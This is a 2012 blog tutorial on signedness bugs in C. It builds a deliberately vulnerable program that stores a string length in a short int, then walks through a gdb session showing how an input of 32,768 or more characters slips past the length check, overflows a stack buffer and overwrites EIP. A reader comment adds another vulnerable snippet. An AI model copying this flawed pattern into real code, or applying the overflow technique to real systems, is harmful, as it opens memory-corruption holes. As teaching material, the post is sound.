Signedness Bugs – What? Where? How? Why?   1 comment

  • Post Info:
    1. # Author: Flavio do Carmo Junior aka waKKu
      # URL: Author’s Webpage
      # Date: January 28, 2012
      # Category: Assembly, Exploiting, Programming, Security

    Hey guys, how are you doing? Hope everyone is OK.

    I will be writing 3 quick and quite straightforward posts this week.
    All (partially) inspired by this video: http://www.youtube.com/watch?v=i2fhNVQPb5I (I am a C Programmer) and regarding to stack overflows.

    – 1) Signedness bug
    – 2) Widthness overflow
    – 3) Pointer Subterfuge

    Nothing new I suppose, however, as usual I look forward to demystifying them completely. Therefore, any doubts in any of these bugs, please feel free to comment, elaborate my explation or even curse me by my mistakes.
    All codes will be compiled using 32bits, just because I think it is easier to understand and be tested using VMs.

    1) Signedness Bug

    Overview
    – Signedness bugs are those bugs related to miscalculations during coding process. Sometimes we decide to “save” bytes whilst coding and don’t have a full understading of what really happens under the hood.

    Code Example:

    waKKu@0xcd80: Vulns$ cat signed.c 
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int vuln(char *buf) {
        char buffer[5000];
        short int len; // int => 4 bytes length | short int => 2 bytes length
    
        len = strlen(buf);
        if (len >= 5000) {
            printf("String length too big!!!\n");
            return(1);
        } else {
            printf("Copying content into stack...");
            strcpy(buffer, buf);
            printf("done.\n");
        }
    
        return(0);
    }
    
    int main(int argc, char **argv) {
    
        if (argc < 2) {
            printf("Usage: %s <text>\n", argv[0]);
            return(1);
        }
    
        vuln(argv[1]);
    
        return(0);
    }
    
    waKKu@0xcd80: Vulns$ gcc -m32 -o signed signed.c -Wall -Wextra
    waKKu@0xcd80: Vulns$ ./signed
    Usage: ./signed <text>
    waKKu@0xcd80: Vulns$ ./signed $(perl -e 'print "A"x4900')
    Copying content into stack...done.
    waKKu@0xcd80: Vulns$ ./signed $(perl -e 'print "A"x4950')
    Copying content into stack...done.
    waKKu@0xcd80: Vulns$ ./signed $(perl -e 'print "A"x5000')
    String length too big!!!
    waKKu@0xcd80: Vulns$ ./signed $(perl -e 'print "A"x6000')
    String length too big!!!
    waKKu@0xcd80: Vulns$ ./signed $(perl -e 'print "A"x7000')
    String length too big!!!
    

    All compiled and apparently working good.
    Allow you some time looking at the source and trying to see where is the bug.
    Nevertheless, let’s take a look at the assembly.

    [waKKu@1215n Vulns]$ gdb -q ./signed
    Reading symbols from /data/research/0xcd80/posts/Vulns/signed...(no debugging symbols found)...done.
    (gdb) disass vuln
    Dump of assembler code for function vuln:
       0x08048424 <+0>: push   %ebp
       0x08048425 <+1>: mov    %esp,%ebp
       0x08048427 <+3>: push   %edi
       0x08048428 <+4>: sub    $0x13b4,%esp
       0x0804842e <+10>:    mov    0x8(%ebp),%eax
       0x08048431 <+13>:    movl   $0xffffffff,-0x139c(%ebp)
       0x0804843b <+23>:    mov    %eax,%edx
       0x0804843d <+25>:    mov    $0x0,%eax
       0x08048442 <+30>:    mov    -0x139c(%ebp),%ecx
       0x08048448 <+36>:    mov    %edx,%edi
       0x0804844a <+38>:    repnz scas %es:(%edi),%al
       0x0804844c <+40>:    mov    %ecx,%eax
       0x0804844e <+42>:    not    %eax
       0x08048450 <+44>:    sub    $0x1,%eax
       0x08048453 <+47>:    mov    %ax,-0xa(%ebp)
       0x08048457 <+51>:    cmpw   $0x1387,-0xa(%ebp)
       0x0804845d <+57>:    jle    0x8048472 <vuln+78>
       0x0804845f <+59>:    movl   $0x80485d4,(%esp)
       0x08048466 <+66>:    call   0x8048354 <puts@plt>
       0x0804846b <+71>:    mov    $0x1,%eax
       0x08048470 <+76>:    jmp    0x80484a5 <vuln+129>
       0x08048472 <+78>:    mov    $0x80485ed,%eax
       0x08048477 <+83>:    mov    %eax,(%esp)
       0x0804847a <+86>:    call   0x8048344 <printf@plt>
       0x0804847f <+91>:    mov    0x8(%ebp),%eax
       0x08048482 <+94>:    mov    %eax,0x4(%esp)
       0x08048486 <+98>:    lea    -0x1392(%ebp),%eax
       0x0804848c <+104>:   mov    %eax,(%esp)
       0x0804848f <+107>:   call   0x8048334 <strcpy@plt>
       0x08048494 <+112>:   movl   $0x804860b,(%esp)
       0x0804849b <+119>:   call   0x8048354 <puts@plt>
       0x080484a0 <+124>:   mov    $0x0,%eax
       0x080484a5 <+129>:   add    $0x13b4,%esp
       0x080484ab <+135>:   pop    %edi
       0x080484ac <+136>:   pop    %ebp
       0x080484ad <+137>:   ret    
    End of assembler dump.
    (gdb) # Hmm... Let's dig into that line <+51>
    (gdb) p /d 0x1387
    $1 = 4999
    (gdb) # Seems like it is actually our "if". Breakpoint here.
    (gdb) break *vuln+51
    Breakpoint 1 at 0x8048457
    (gdb) r $(perl -e 'print "A"x6000')
    Starting program: /data/research/0xcd80/posts/Vulns/signed $(perl -e 'print "A"x6000')
    
    Breakpoint 1, 0x08048457 in vuln ()
    Missing separate debuginfos, use: debuginfo-install glibc-2.14.1-5.i686
    (gdb) x/i $eip
    => 0x8048457 <vuln+51>: cmpw   $0x1387,-0xa(%ebp)
    (gdb) p /d 0x1387
    $2 = 4999
    (gdb) x/x $ebp-0xa
    0xffffbabe: 0x00001770
    (gdb) p /d 0x1770
    $3 = 6000
    (gdb) # 0x1770 is greater than 0x1387, as expected. So, where is the bug?
    (gdb) # Check the assembly instruction being used to compare these 2 values. "cmpw", the clue here is this "w"
    (gdb) # "w" means "word", although 32bits words are, well, 32 bits, in assembly it means 16 bits (ought to old time CPUs, I guess).
    (gdb) # Thus, the comparison only occurs between the 16 Least Significant Bits of both values.
    (gdb) p /t 0x1387 
    $7 = 1001110000111
    (gdb) p /t 0x1770
    $8 = 1011101110000
    (gdb) # there are the 16 LSB of those values.
    (gdb) # Now, what happens if we have a 17 bits value?
    (gdb) # First of all, let check the maximum value that can be represented by 16 bits.
    (gdb) p /d 0xffff
    $9 = 65535
    (gdb) # This is an unsgined value. Let's also check a signed one.
    (gdb) p /t 0xffff
    $17 = 1111111111111111
    (gdb) # 16 bits, all "active". If you have read all previous posts, you should
    (gdb) # have seen how Two's Complement works, and must be able to calculate
    (gdb) # the signed version of this number, with some help from "bc":
    (gdb) shell echo 'ibase=2; 0111111111111111' | bc
    32767
    (gdb) # So, the first bit on the left, in signed numbers, is the signal. 
    (gdb) # 1 means negative, 0 means positive. Hence our calculation.
    (gdb)
    (gdb) # Now, if we now that cmpw is reading a SIGNED 16 bits value, we may be able to fool it
    (gdb) # using a negative value. But, how to write -1 chars!?
    (gdb) # Again, Two's Complement. If all we have is 16 bits, then in signed numbers we will
    (gdb) # have the first left-bit to signal and the remaining 15 bits for numbers. 
    (gdb) p /d (signed short)0xffff
    $25 = -1
    (gdb) # Do you remember the comment in the code? 
    (gdb) # // int => 4 bytes length | short int => 2 bytes length
    (gdb) # So, if we are working in a 2 bytes base, 0xffff means -1
    (gdb) # Hex: 0xffff => Binary: 1111 1111 1111 1111
    (gdb) 
    (gdb) # Finally, what we just need is to send a number of chars greater than
    (gdb) # Hex: 0x7fff => Binary: 0111 1111 1111 1111
    (gdb) # and bypass cmpw instruction.
    (gdb) p /d 0x7fff
    $26 = 32767
    (gdb) p /d 0x7fff + 1
    $27 = 32768
    (gdb) p /x 0x7fff + 1
    $28 = 0x8000
    (gdb) p /t 0x8000
    $29 = 1000000000000000
    (gdb) # Now we have our number, let's try it.
    (gdb) # But first, we may want to check the greatest number.
    (gdb) del break
    Delete all breakpoints? (y or n) y
    (gdb) r $(perl -e 'print "A"x32767')
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /data/research/0xcd80/posts/Vulns/signed $(perl -e 'print "A"x32767')
    String length too big!!!
    [Inferior 1 (process 4051) exited normally]
    (gdb) # Too big huh? How far can you count my friend? ;)
    (gdb) r $(perl -e 'print "A"x32768')
    Starting program: /data/research/0xcd80/posts/Vulns/signed $(perl -e 'print "A"x32768')
    Copying content into stack...done.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb) # Success... We control EIP. However, as some might have realised, the EIP isn't overwritten by the last bytes as usually happens.
    (gdb) r $(perl -e 'print "B"x16500 . "A"x16500')
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /data/research/0xcd80/posts/Vulns/signed $(perl -e 'print "B"x16500 . "A"x16500')
    Copying content into stack...done.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x42424242 in ?? ()
    (gdb) # See, the EIP is overwritten by the first half of bytes. It makes total sense once our buffer is actually only 5000 bytes long. Probably the overwrite happens around 5000 and 5050 bytes.
    (gdb) r $(perl -e 'print "A"x5000 . "ABCDABCDABCDABCDABCD" . "A"x28000')
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    
    Starting program: /data/research/0xcd80/posts/Vulns/signed $(perl -e 'print "A"x5000 . "ABCDABCDABCDABCDABCD" . "A"x28000')
    Copying content into stack...done.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x42414443 in ?? ()
    (gdb) # That's it. We are probably overwriting a lot more things after our code, but it doesn't matter. WE CONTROL EIP :).
    (gdb) quit
    A debugging session is active.
    
        Inferior 1 [process 4110] will be killed.
    
    Quit anyway? (y or n) y
    waKKu@0xcd80: Vulns$
    

    You may be curious…

    Why is it so stupid!?
    Well, it actually is nothing stupid at all.
    Once you have specified your variable as “short”, the compiler must comply with your specification and be sure it doesn’t use anything different than you expect. Otherwise, we would be complaining about memory garbage crashing our programs.

    Another question: What if I use unsigned short!?
    A: Check the next post Widthness Overflow.

    As said before, ANY thoughts are welcome. Please, share it :).

    –waKKu

    Advertisements

    Posted January 28, 2012 by waKKu in Assembly, Exploiting, Programming, Security

    One response to “Signedness Bugs – What? Where? How? Why?

    Subscribe to comments with RSS.

    1. hi
      its great but i have a program and i don’t know if it is the same
      #include
      #include
      void beHappy(int happyFactor) {
      int maxHappyNess = 64;
      char outPut[maxHappyNess+8+1];
      char happy[] = “im happy”;
      strncpy(outPut, happy, 8);
      if(happyFactor < maxHappyNess) {
      unsigned int i;
      for(i=0; i < happyFactor; i++) {
      outPut[7+i] = 33;
      }
      outPut[7+happyFactor] = 0;
      }
      else {
      outPut[8] = 0;
      }
      printf("%s\n", outPut);
      }
      int main(int argc, char *argv[]) {
      if(argc != 2) {
      return -1; }
      beHappy(atoi(argv[1]));
      }

      so we have to enter a number ,which is great than 4 byte and the buffer size is 73??

    Leave a Reply

    Fill in your details below or click an icon to log in:

    WordPress.com Logo

    You are commenting using your WordPress.com account. Log Out / Change )

    Twitter picture

    You are commenting using your Twitter account. Log Out / Change )

    Facebook photo

    You are commenting using your Facebook account. Log Out / Change )

    Google+ photo

    You are commenting using your Google+ account. Log Out / Change )

    Connecting to %s

    %d bloggers like this: